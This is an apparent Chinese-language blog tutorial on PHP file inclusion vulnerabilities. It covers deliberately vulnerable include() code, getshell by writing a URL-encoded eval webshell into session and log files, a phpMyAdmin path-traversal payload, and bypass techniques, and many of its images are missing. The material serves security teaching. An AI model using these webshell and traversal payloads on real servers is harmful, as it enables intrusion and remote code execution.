【文件包含漏洞基本原理解析】

一、文件包含原理

请添加图片描述
请添加图片描述

示例代码

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制包含其他的恶意文件,导致执行了非预期的代码

<?php
	$filename = $_GET['filename'];
	include($filename);
?>

$_GET['filename']参数没有经过严格的过滤,直接带入了include函数,攻击者可以修改$_GET['filename']的值,执行非预期操作

二、本地文件包含漏洞

include

测试代码:

<?php
	$filename = $_GET['filename'];
	include($filename);
?>

$filename 参数可控

我们在C:\Windows\目录下新建一个test.txt,并在文件里面输入this is a test file。

当我们向filename传入路径文件时,由于这个文件是纯文本,服务器会向我们输出文件里面的内容
请添加图片描述
我们可以利用这个来包含服务器的敏感文件,以下是一些常见的敏感文件路径:
请添加图片描述

session

请添加图片描述
根据cookie中的session值,我们就可以找到服务器上的session文件

测试代码:

<?php
	session_start();
	$user = $_GET['user'];
	$_SESSION['username'] = $user;
?>

当我们向目标网站传入test时:

http://192.168.1.88/?user=test

我们的cookie中出现了对应的信息:
请添加图片描述
当我们去服务器上查找这个文件时,发现服务器上出现了对应的文件,且里面记录的字符串正是我们传入的信息:

请添加图片描述

可以看到我们的test被存储到session文件中,利用这点我们可以向session文件中写shell,通过包含session文件来getshell

http://192.168.1.88/index.php?user=%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%20%3F%3E

包含日志文件

请添加图片描述

测试代码:

<?php
	$f = $_GET['f'];
	include($f);
?>

当我们找到包含点时,只需要访问:

http://192.168.1.88/test.php?f=%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%20%3F%3E

向日志中写入shell,包含日志文件,即可getshell

phpMyAdmain 本地文件包含漏洞

请添加图片描述
具体绕过不细讲,我们只要知道是可以绕过的,利用payload:

http://localhost/index.php?target=db_sql.php%253f../../../../../../../flag

常见绕过手段

当然本地文件包含漏洞会有一些防护手段,我们总结了一些绕过手段:

url编码

请添加图片描述

路径长度截断

请添加图片描述

三、远程文件包含漏洞

请添加图片描述
测试代码:

<?php
	$filename = $_GET['filename'];
	include($filename);
?>

请添加图片描述

常见绕过手段

?绕过

请添加图片描述

#绕过

请添加图片描述

  • 5
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值